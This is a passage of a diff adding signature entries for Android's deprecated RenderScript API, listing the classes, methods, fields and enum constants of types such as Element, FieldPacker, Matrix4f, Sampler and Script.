+    field @Deprecated public static final int USAGE_GRAPHICS_RENDER_TARGET = 16; // 0x10
+    field @Deprecated public static final int USAGE_GRAPHICS_TEXTURE = 2; // 0x2
+    field @Deprecated public static final int USAGE_GRAPHICS_VERTEX = 4; // 0x4
+    field @Deprecated public static final int USAGE_IO_INPUT = 32; // 0x20
+    field @Deprecated public static final int USAGE_IO_OUTPUT = 64; // 0x40
+    field @Deprecated public static final int USAGE_SCRIPT = 1; // 0x1
+    field @Deprecated public static final int USAGE_SHARED = 128; // 0x80
+  }
+
+  @Deprecated public enum Allocation.MipmapControl {
+    enum_constant @Deprecated public static final android.renderscript.Allocation.MipmapControl MIPMAP_FULL;
+    enum_constant @Deprecated public static final android.renderscript.Allocation.MipmapControl MIPMAP_NONE;
+    enum_constant @Deprecated public static final android.renderscript.Allocation.MipmapControl MIPMAP_ON_SYNC_TO_TEXTURE;
+  }
+
+  @Deprecated public static interface Allocation.OnBufferAvailableListener {
+    method @Deprecated public void onBufferAvailable(android.renderscript.Allocation);
+  }
+
+  @Deprecated public class AllocationAdapter extends android.renderscript.Allocation {
+    method @Deprecated public static android.renderscript.AllocationAdapter create1D(android.renderscript.RenderScript, android.renderscript.Allocation);
+    method @Deprecated public static android.renderscript.AllocationAdapter create2D(android.renderscript.RenderScript, android.renderscript.Allocation);
+    method @Deprecated public static android.renderscript.AllocationAdapter createTyped(android.renderscript.RenderScript, android.renderscript.Allocation, android.renderscript.Type);
+    method @Deprecated public void resize(int);
+    method @Deprecated public void setFace(android.renderscript.Type.CubemapFace);
+    method @Deprecated public void setLOD(int);
+    method @Deprecated public void setX(int);
+    method @Deprecated public void setY(int);
+    method @Deprecated public void setZ(int);
+  }
+
+  @Deprecated public class BaseObj {
+    method @Deprecated public void destroy();
+    method @Deprecated public String getName();
+    method @Deprecated public void setName(String);
+  }
+
+  @Deprecated public class Byte2 {
+    ctor @Deprecated public Byte2();
+    ctor @Deprecated public Byte2(byte, byte);
+    field @Deprecated public byte x;
+    field @Deprecated public byte y;
+  }
+
+  @Deprecated public class Byte3 {
+    ctor @Deprecated public Byte3();
+    ctor @Deprecated public Byte3(byte, byte, byte);
+    field @Deprecated public byte x;
+    field @Deprecated public byte y;
+    field @Deprecated public byte z;
+  }
+
+  @Deprecated public class Byte4 {
+    ctor @Deprecated public Byte4();
+    ctor @Deprecated public Byte4(byte, byte, byte, byte);
+    field @Deprecated public byte w;
+    field @Deprecated public byte x;
+    field @Deprecated public byte y;
+    field @Deprecated public byte z;
+  }
+
+  @Deprecated public class Double2 {
+    ctor @Deprecated public Double2();
+    ctor @Deprecated public Double2(double, double);
+    field @Deprecated public double x;
+    field @Deprecated public double y;
+  }
+
+  @Deprecated public class Double3 {
+    ctor @Deprecated public Double3();
+    ctor @Deprecated public Double3(double, double, double);
+    field @Deprecated public double x;
+    field @Deprecated public double y;
+    field @Deprecated public double z;
+  }
+
+  @Deprecated public class Double4 {
+    ctor @Deprecated public Double4();
+    ctor @Deprecated public Double4(double, double, double, double);
+    field @Deprecated public double w;
+    field @Deprecated public double x;
+    field @Deprecated public double y;
+    field @Deprecated public double z;
+  }
+
+  @Deprecated public class Element extends android.renderscript.BaseObj {
+    method @Deprecated public static android.renderscript.Element ALLOCATION(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element A_8(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element BOOLEAN(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element ELEMENT(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element F16(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element F16_2(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element F16_3(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element F16_4(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element F32(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element F32_2(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element F32_3(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element F32_4(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element F64(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element F64_2(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element F64_3(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element F64_4(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element FONT(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element I16(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element I16_2(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element I16_3(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element I16_4(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element I32(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element I32_2(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element I32_3(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element I32_4(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element I64(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element I64_2(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element I64_3(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element I64_4(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element I8(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element I8_2(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element I8_3(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element I8_4(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element MATRIX4X4(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element MATRIX_2X2(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element MATRIX_3X3(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element MATRIX_4X4(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element MESH(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element PROGRAM_FRAGMENT(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element PROGRAM_RASTER(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element PROGRAM_STORE(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element PROGRAM_VERTEX(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element RGBA_4444(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element RGBA_5551(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element RGBA_8888(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element RGB_565(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element RGB_888(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element SAMPLER(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element SCRIPT(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element TYPE(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element U16(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element U16_2(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element U16_3(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element U16_4(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element U32(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element U32_2(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element U32_3(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element U32_4(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element U64(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element U64_2(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element U64_3(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element U64_4(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element U8(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element U8_2(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element U8_3(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element U8_4(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element YUV(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Element createPixel(android.renderscript.RenderScript, android.renderscript.Element.DataType, android.renderscript.Element.DataKind);
+    method @Deprecated public static android.renderscript.Element createVector(android.renderscript.RenderScript, android.renderscript.Element.DataType, int);
+    method @Deprecated public int getBytesSize();
+    method @Deprecated public android.renderscript.Element.DataKind getDataKind();
+    method @Deprecated public android.renderscript.Element.DataType getDataType();
+    method @Deprecated public android.renderscript.Element getSubElement(int);
+    method @Deprecated public int getSubElementArraySize(int);
+    method @Deprecated public int getSubElementCount();
+    method @Deprecated public String getSubElementName(int);
+    method @Deprecated public int getSubElementOffsetBytes(int);
+    method @Deprecated public int getVectorSize();
+    method @Deprecated public boolean isCompatible(android.renderscript.Element);
+    method @Deprecated public boolean isComplex();
+  }
+
+  @Deprecated public static class Element.Builder {
+    ctor @Deprecated public Element.Builder(android.renderscript.RenderScript);
+    method @Deprecated public android.renderscript.Element.Builder add(android.renderscript.Element, String, int);
+    method @Deprecated public android.renderscript.Element.Builder add(android.renderscript.Element, String);
+    method @Deprecated public android.renderscript.Element create();
+  }
+
+  @Deprecated public enum Element.DataKind {
+    enum_constant @Deprecated public static final android.renderscript.Element.DataKind PIXEL_A;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataKind PIXEL_DEPTH;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataKind PIXEL_L;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataKind PIXEL_LA;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataKind PIXEL_RGB;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataKind PIXEL_RGBA;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataKind PIXEL_YUV;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataKind USER;
+  }
+
+  @Deprecated public enum Element.DataType {
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType BOOLEAN;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType FLOAT_16;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType FLOAT_32;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType FLOAT_64;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType MATRIX_2X2;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType MATRIX_3X3;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType MATRIX_4X4;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType NONE;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType RS_ALLOCATION;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType RS_ELEMENT;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType RS_FONT;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType RS_MESH;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType RS_PROGRAM_FRAGMENT;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType RS_PROGRAM_RASTER;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType RS_PROGRAM_STORE;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType RS_PROGRAM_VERTEX;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType RS_SAMPLER;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType RS_SCRIPT;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType RS_TYPE;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType SIGNED_16;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType SIGNED_32;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType SIGNED_64;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType SIGNED_8;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType UNSIGNED_16;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType UNSIGNED_32;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType UNSIGNED_4_4_4_4;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType UNSIGNED_5_5_5_1;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType UNSIGNED_5_6_5;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType UNSIGNED_64;
+    enum_constant @Deprecated public static final android.renderscript.Element.DataType UNSIGNED_8;
+  }
+
+  @Deprecated public class FieldPacker {
+    ctor @Deprecated public FieldPacker(int);
+    ctor @Deprecated public FieldPacker(byte[]);
+    method @Deprecated public void addBoolean(boolean);
+    method @Deprecated public void addF32(float);
+    method @Deprecated public void addF32(android.renderscript.Float2);
+    method @Deprecated public void addF32(android.renderscript.Float3);
+    method @Deprecated public void addF32(android.renderscript.Float4);
+    method @Deprecated public void addF64(double);
+    method @Deprecated public void addF64(android.renderscript.Double2);
+    method @Deprecated public void addF64(android.renderscript.Double3);
+    method @Deprecated public void addF64(android.renderscript.Double4);
+    method @Deprecated public void addI16(short);
+    method @Deprecated public void addI16(android.renderscript.Short2);
+    method @Deprecated public void addI16(android.renderscript.Short3);
+    method @Deprecated public void addI16(android.renderscript.Short4);
+    method @Deprecated public void addI32(int);
+    method @Deprecated public void addI32(android.renderscript.Int2);
+    method @Deprecated public void addI32(android.renderscript.Int3);
+    method @Deprecated public void addI32(android.renderscript.Int4);
+    method @Deprecated public void addI64(long);
+    method @Deprecated public void addI64(android.renderscript.Long2);
+    method @Deprecated public void addI64(android.renderscript.Long3);
+    method @Deprecated public void addI64(android.renderscript.Long4);
+    method @Deprecated public void addI8(byte);
+    method @Deprecated public void addI8(android.renderscript.Byte2);
+    method @Deprecated public void addI8(android.renderscript.Byte3);
+    method @Deprecated public void addI8(android.renderscript.Byte4);
+    method @Deprecated public void addMatrix(android.renderscript.Matrix4f);
+    method @Deprecated public void addMatrix(android.renderscript.Matrix3f);
+    method @Deprecated public void addMatrix(android.renderscript.Matrix2f);
+    method @Deprecated public void addObj(android.renderscript.BaseObj);
+    method @Deprecated public void addU16(int);
+    method @Deprecated public void addU16(android.renderscript.Int2);
+    method @Deprecated public void addU16(android.renderscript.Int3);
+    method @Deprecated public void addU16(android.renderscript.Int4);
+    method @Deprecated public void addU32(long);
+    method @Deprecated public void addU32(android.renderscript.Long2);
+    method @Deprecated public void addU32(android.renderscript.Long3);
+    method @Deprecated public void addU32(android.renderscript.Long4);
+    method @Deprecated public void addU64(long);
+    method @Deprecated public void addU64(android.renderscript.Long2);
+    method @Deprecated public void addU64(android.renderscript.Long3);
+    method @Deprecated public void addU64(android.renderscript.Long4);
+    method @Deprecated public void addU8(short);
+    method @Deprecated public void addU8(android.renderscript.Short2);
+    method @Deprecated public void addU8(android.renderscript.Short3);
+    method @Deprecated public void addU8(android.renderscript.Short4);
+    method @Deprecated public void align(int);
+    method @Deprecated public final byte[] getData();
+    method @Deprecated public void reset();
+    method @Deprecated public void reset(int);
+    method @Deprecated public void skip(int);
+    method @Deprecated public boolean subBoolean();
+    method @Deprecated public android.renderscript.Byte2 subByte2();
+    method @Deprecated public android.renderscript.Byte3 subByte3();
+    method @Deprecated public android.renderscript.Byte4 subByte4();
+    method @Deprecated public android.renderscript.Double2 subDouble2();
+    method @Deprecated public android.renderscript.Double3 subDouble3();
+    method @Deprecated public android.renderscript.Double4 subDouble4();
+    method @Deprecated public float subF32();
+    method @Deprecated public double subF64();
+    method @Deprecated public android.renderscript.Float2 subFloat2();
+    method @Deprecated public android.renderscript.Float3 subFloat3();
+    method @Deprecated public android.renderscript.Float4 subFloat4();
+    method @Deprecated public short subI16();
+    method @Deprecated public int subI32();
+    method @Deprecated public long subI64();
+    method @Deprecated public byte subI8();
+    method @Deprecated public android.renderscript.Int2 subInt2();
+    method @Deprecated public android.renderscript.Int3 subInt3();
+    method @Deprecated public android.renderscript.Int4 subInt4();
+    method @Deprecated public android.renderscript.Long2 subLong2();
+    method @Deprecated public android.renderscript.Long3 subLong3();
+    method @Deprecated public android.renderscript.Long4 subLong4();
+    method @Deprecated public android.renderscript.Matrix2f subMatrix2f();
+    method @Deprecated public android.renderscript.Matrix3f subMatrix3f();
+    method @Deprecated public android.renderscript.Matrix4f subMatrix4f();
+    method @Deprecated public android.renderscript.Short2 subShort2();
+    method @Deprecated public android.renderscript.Short3 subShort3();
+    method @Deprecated public android.renderscript.Short4 subShort4();
+    method @Deprecated public void subalign(int);
+  }
+
+  @Deprecated public class Float2 {
+    ctor @Deprecated public Float2();
+    ctor @Deprecated public Float2(float, float);
+    field @Deprecated public float x;
+    field @Deprecated public float y;
+  }
+
+  @Deprecated public class Float3 {
+    ctor @Deprecated public Float3();
+    ctor @Deprecated public Float3(float, float, float);
+    field @Deprecated public float x;
+    field @Deprecated public float y;
+    field @Deprecated public float z;
+  }
+
+  @Deprecated public class Float4 {
+    ctor @Deprecated public Float4();
+    ctor @Deprecated public Float4(float, float, float, float);
+    field @Deprecated public float w;
+    field @Deprecated public float x;
+    field @Deprecated public float y;
+    field @Deprecated public float z;
+  }
+
+  @Deprecated public class Int2 {
+    ctor @Deprecated public Int2();
+    ctor @Deprecated public Int2(int, int);
+    field @Deprecated public int x;
+    field @Deprecated public int y;
+  }
+
+  @Deprecated public class Int3 {
+    ctor @Deprecated public Int3();
+    ctor @Deprecated public Int3(int, int, int);
+    field @Deprecated public int x;
+    field @Deprecated public int y;
+    field @Deprecated public int z;
+  }
+
+  @Deprecated public class Int4 {
+    ctor @Deprecated public Int4();
+    ctor @Deprecated public Int4(int, int, int, int);
+    field @Deprecated public int w;
+    field @Deprecated public int x;
+    field @Deprecated public int y;
+    field @Deprecated public int z;
+  }
+
+  @Deprecated public class Long2 {
+    ctor @Deprecated public Long2();
+    ctor @Deprecated public Long2(long, long);
+    field @Deprecated public long x;
+    field @Deprecated public long y;
+  }
+
+  @Deprecated public class Long3 {
+    ctor @Deprecated public Long3();
+    ctor @Deprecated public Long3(long, long, long);
+    field @Deprecated public long x;
+    field @Deprecated public long y;
+    field @Deprecated public long z;
+  }
+
+  @Deprecated public class Long4 {
+    ctor @Deprecated public Long4();
+    ctor @Deprecated public Long4(long, long, long, long);
+    field @Deprecated public long w;
+    field @Deprecated public long x;
+    field @Deprecated public long y;
+    field @Deprecated public long z;
+  }
+
+  @Deprecated public class Matrix2f {
+    ctor @Deprecated public Matrix2f();
+    ctor @Deprecated public Matrix2f(float[]);
+    method @Deprecated public float get(int, int);
+    method @Deprecated public float[] getArray();
+    method @Deprecated public void load(android.renderscript.Matrix2f);
+    method @Deprecated public void loadIdentity();
+    method @Deprecated public void loadMultiply(android.renderscript.Matrix2f, android.renderscript.Matrix2f);
+    method @Deprecated public void loadRotate(float);
+    method @Deprecated public void loadScale(float, float);
+    method @Deprecated public void multiply(android.renderscript.Matrix2f);
+    method @Deprecated public void rotate(float);
+    method @Deprecated public void scale(float, float);
+    method @Deprecated public void set(int, int, float);
+    method @Deprecated public void transpose();
+  }
+
+  @Deprecated public class Matrix3f {
+    ctor @Deprecated public Matrix3f();
+    ctor @Deprecated public Matrix3f(float[]);
+    method @Deprecated public float get(int, int);
+    method @Deprecated public float[] getArray();
+    method @Deprecated public void load(android.renderscript.Matrix3f);
+    method @Deprecated public void loadIdentity();
+    method @Deprecated public void loadMultiply(android.renderscript.Matrix3f, android.renderscript.Matrix3f);
+    method @Deprecated public void loadRotate(float, float, float, float);
+    method @Deprecated public void loadRotate(float);
+    method @Deprecated public void loadScale(float, float);
+    method @Deprecated public void loadScale(float, float, float);
+    method @Deprecated public void loadTranslate(float, float);
+    method @Deprecated public void multiply(android.renderscript.Matrix3f);
+    method @Deprecated public void rotate(float, float, float, float);
+    method @Deprecated public void rotate(float);
+    method @Deprecated public void scale(float, float);
+    method @Deprecated public void scale(float, float, float);
+    method @Deprecated public void set(int, int, float);
+    method @Deprecated public void translate(float, float);
+    method @Deprecated public void transpose();
+  }
+
+  @Deprecated public class Matrix4f {
+    ctor @Deprecated public Matrix4f();
+    ctor @Deprecated public Matrix4f(float[]);
+    method @Deprecated public float get(int, int);
+    method @Deprecated public float[] getArray();
+    method @Deprecated public boolean inverse();
+    method @Deprecated public boolean inverseTranspose();
+    method @Deprecated public void load(android.renderscript.Matrix4f);
+    method @Deprecated public void loadFrustum(float, float, float, float, float, float);
+    method @Deprecated public void loadIdentity();
+    method @Deprecated public void loadMultiply(android.renderscript.Matrix4f, android.renderscript.Matrix4f);
+    method @Deprecated public void loadOrtho(float, float, float, float, float, float);
+    method @Deprecated public void loadOrthoWindow(int, int);
+    method @Deprecated public void loadPerspective(float, float, float, float);
+    method @Deprecated public void loadProjectionNormalized(int, int);
+    method @Deprecated public void loadRotate(float, float, float, float);
+    method @Deprecated public void loadScale(float, float, float);
+    method @Deprecated public void loadTranslate(float, float, float);
+    method @Deprecated public void multiply(android.renderscript.Matrix4f);
+    method @Deprecated public void rotate(float, float, float, float);
+    method @Deprecated public void scale(float, float, float);
+    method @Deprecated public void set(int, int, float);
+    method @Deprecated public void translate(float, float, float);
+    method @Deprecated public void transpose();
+  }
+
+  @Deprecated public class RSDriverException extends android.renderscript.RSRuntimeException {
+    ctor @Deprecated public RSDriverException(String);
+  }
+
+  @Deprecated public class RSIllegalArgumentException extends android.renderscript.RSRuntimeException {
+    ctor @Deprecated public RSIllegalArgumentException(String);
+  }
+
+  @Deprecated public class RSInvalidStateException extends android.renderscript.RSRuntimeException {
+    ctor @Deprecated public RSInvalidStateException(String);
+  }
+
+  @Deprecated public class RSRuntimeException extends java.lang.RuntimeException {
+    ctor @Deprecated public RSRuntimeException(String);
+  }
+
+  @Deprecated public class RenderScript {
+    method @Deprecated public void contextDump();
+    method @Deprecated public static android.renderscript.RenderScript create(android.content.Context);
+    method @Deprecated public static android.renderscript.RenderScript create(android.content.Context, android.renderscript.RenderScript.ContextType);
+    method @Deprecated public static android.renderscript.RenderScript create(android.content.Context, android.renderscript.RenderScript.ContextType, int);
+    method @Deprecated public static android.renderscript.RenderScript createMultiContext(android.content.Context, android.renderscript.RenderScript.ContextType, int, int);
+    method @Deprecated public void destroy();
+    method @Deprecated public void finish();
+    method @Deprecated public final android.content.Context getApplicationContext();
+    method @Deprecated public android.renderscript.RenderScript.RSErrorHandler getErrorHandler();
+    method @Deprecated public android.renderscript.RenderScript.RSMessageHandler getMessageHandler();
+    method @Deprecated public static long getMinorVersion();
+    method @Deprecated public static void releaseAllContexts();
+    method @Deprecated public void sendMessage(int, int[]);
+    method @Deprecated public void setErrorHandler(android.renderscript.RenderScript.RSErrorHandler);
+    method @Deprecated public void setMessageHandler(android.renderscript.RenderScript.RSMessageHandler);
+    method @Deprecated public void setPriority(android.renderscript.RenderScript.Priority);
+    field @Deprecated public static final int CREATE_FLAG_LOW_LATENCY = 2; // 0x2
+    field @Deprecated public static final int CREATE_FLAG_LOW_POWER = 4; // 0x4
+    field @Deprecated public static final int CREATE_FLAG_NONE = 0; // 0x0
+  }
+
+  @Deprecated public enum RenderScript.ContextType {
+    enum_constant @Deprecated public static final android.renderscript.RenderScript.ContextType DEBUG;
+    enum_constant @Deprecated public static final android.renderscript.RenderScript.ContextType NORMAL;
+    enum_constant @Deprecated public static final android.renderscript.RenderScript.ContextType PROFILE;
+  }
+
+  @Deprecated public enum RenderScript.Priority {
+    enum_constant @Deprecated public static final android.renderscript.RenderScript.Priority LOW;
+    enum_constant @Deprecated public static final android.renderscript.RenderScript.Priority NORMAL;
+  }
+
+  @Deprecated public static class RenderScript.RSErrorHandler implements java.lang.Runnable {
+    ctor @Deprecated public RenderScript.RSErrorHandler();
+    method @Deprecated public void run();
+    field @Deprecated protected String mErrorMessage;
+    field @Deprecated protected int mErrorNum;
+  }
+
+  @Deprecated public static class RenderScript.RSMessageHandler implements java.lang.Runnable {
+    ctor @Deprecated public RenderScript.RSMessageHandler();
+    method @Deprecated public void run();
+    field @Deprecated protected int[] mData;
+    field @Deprecated protected int mID;
+    field @Deprecated protected int mLength;
+  }
+
+  @Deprecated public class Sampler extends android.renderscript.BaseObj {
+    method @Deprecated public static android.renderscript.Sampler CLAMP_LINEAR(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Sampler CLAMP_LINEAR_MIP_LINEAR(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Sampler CLAMP_NEAREST(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Sampler MIRRORED_REPEAT_LINEAR(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Sampler MIRRORED_REPEAT_LINEAR_MIP_LINEAR(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Sampler MIRRORED_REPEAT_NEAREST(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Sampler WRAP_LINEAR(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Sampler WRAP_LINEAR_MIP_LINEAR(android.renderscript.RenderScript);
+    method @Deprecated public static android.renderscript.Sampler WRAP_NEAREST(android.renderscript.RenderScript);
+    method @Deprecated public float getAnisotropy();
+    method @Deprecated public android.renderscript.Sampler.Value getMagnification();
+    method @Deprecated public android.renderscript.Sampler.Value getMinification();
+    method @Deprecated public android.renderscript.Sampler.Value getWrapS();
+    method @Deprecated public android.renderscript.Sampler.Value getWrapT();
+  }
+
+  @Deprecated public static class Sampler.Builder {
+    ctor @Deprecated public Sampler.Builder(android.renderscript.RenderScript);
+    method @Deprecated public android.renderscript.Sampler create();
+    method @Deprecated public void setAnisotropy(float);
+    method @Deprecated public void setMagnification(android.renderscript.Sampler.Value);
+    method @Deprecated public void setMinification(android.renderscript.Sampler.Value);
+    method @Deprecated public void setWrapS(android.renderscript.Sampler.Value);
+    method @Deprecated public void setWrapT(android.renderscript.Sampler.Value);
+  }
+
+  @Deprecated public enum Sampler.Value {
+    enum_constant @Deprecated public static final android.renderscript.Sampler.Value CLAMP;
+    enum_constant @Deprecated public static final android.renderscript.Sampler.Value LINEAR;
+    enum_constant @Deprecated public static final android.renderscript.Sampler.Value LINEAR_MIP_LINEAR;
+    enum_constant @Deprecated public static final android.renderscript.Sampler.Value LINEAR_MIP_NEAREST;
+    enum_constant @Deprecated public static final android.renderscript.Sampler.Value MIRRORED_REPEAT;
+    enum_constant @Deprecated public static final android.renderscript.Sampler.Value NEAREST;
+    enum_constant @Deprecated public static final android.renderscript.Sampler.Value WRAP;
+  }
+
+  @Deprecated public class Script extends android.renderscript.BaseObj {
+    method @Deprecated public void bindAllocation(android.renderscript.Allocation, int);
+    method @Deprecated protected android.renderscript.Script.FieldID createFieldID(int, android.renderscript.Element);
+    method @Deprecated protected android.renderscript.Script.InvokeID createInvokeID(int);
+    method @Deprecated protected android.renderscript.Script.KernelID createKernelID(int, int, android.renderscript.Element, android.renderscript.Element);
+    method @Deprecated protected void forEach(int, android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.FieldPacker);
+    method @Deprecated protected void forEach(int, android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.FieldPacker, android.renderscript.Script.LaunchOptions);
+    method @Deprecated protected void forEach(int, android.renderscript.Allocation[], android.renderscript.Allocation, android.renderscript.FieldPacker);
+    method @Deprecated protected void forEach(int, android.renderscript.Allocation[], android.renderscript.Allocation, android.renderscript.FieldPacker, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public boolean getVarB(int);
+    method @Deprecated public double getVarD(int);
+    method @Deprecated public float getVarF(int);
+    method @Deprecated public int getVarI(int);
+    method @Deprecated public long getVarJ(int);
+    method @Deprecated public void getVarV(int, android.renderscript.FieldPacker);
+    method @Deprecated protected void invoke(int);
+    method @Deprecated protected void invoke(int, android.renderscript.FieldPacker);
+    method @Deprecated protected void reduce(int, android.renderscript.Allocation[], android.renderscript.Allocation, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public void setTimeZone(String);
+    method @Deprecated public void setVar(int, float);
+    method @Deprecated public void setVar(int, double);
+    method @Deprecated public void setVar(int, int);
+    method @Deprecated public void setVar(int, long);
+    method @Deprecated public void setVar(int, boolean);
+    method @Deprecated public void setVar(int, android.renderscript.BaseObj);
+    method @Deprecated public void setVar(int, android.renderscript.FieldPacker);
+    method @Deprecated public void setVar(int, android.renderscript.FieldPacker, android.renderscript.Element, int[]);
+  }
+
+  @Deprecated public static class Script.Builder {
+  }
+
+  @Deprecated public static class Script.FieldBase {
+    ctor @Deprecated protected Script.FieldBase();
+    method @Deprecated public android.renderscript.Allocation getAllocation();
+    method @Deprecated public android.renderscript.Element getElement();
+    method @Deprecated public android.renderscript.Type getType();
+    method @Deprecated protected void init(android.renderscript.RenderScript, int);
+    method @Deprecated protected void init(android.renderscript.RenderScript, int, int);
+    method @Deprecated public void updateAllocation();
+    field @Deprecated protected android.renderscript.Allocation mAllocation;
+    field @Deprecated protected android.renderscript.Element mElement;
+  }
+
+  @Deprecated public static final class Script.FieldID extends android.renderscript.BaseObj {
+  }
+
+  @Deprecated public static final class Script.InvokeID extends android.renderscript.BaseObj {
+  }
+
+  @Deprecated public static final class Script.KernelID extends android.renderscript.BaseObj {
+  }
+
+  @Deprecated public static final class Script.LaunchOptions {
+    ctor @Deprecated public Script.LaunchOptions();
+    method @Deprecated public int getXEnd();
+    method @Deprecated public int getXStart();
+    method @Deprecated public int getYEnd();
+    method @Deprecated public int getYStart();
+    method @Deprecated public int getZEnd();
+    method @Deprecated public int getZStart();
+    method @Deprecated public android.renderscript.Script.LaunchOptions setX(int, int);
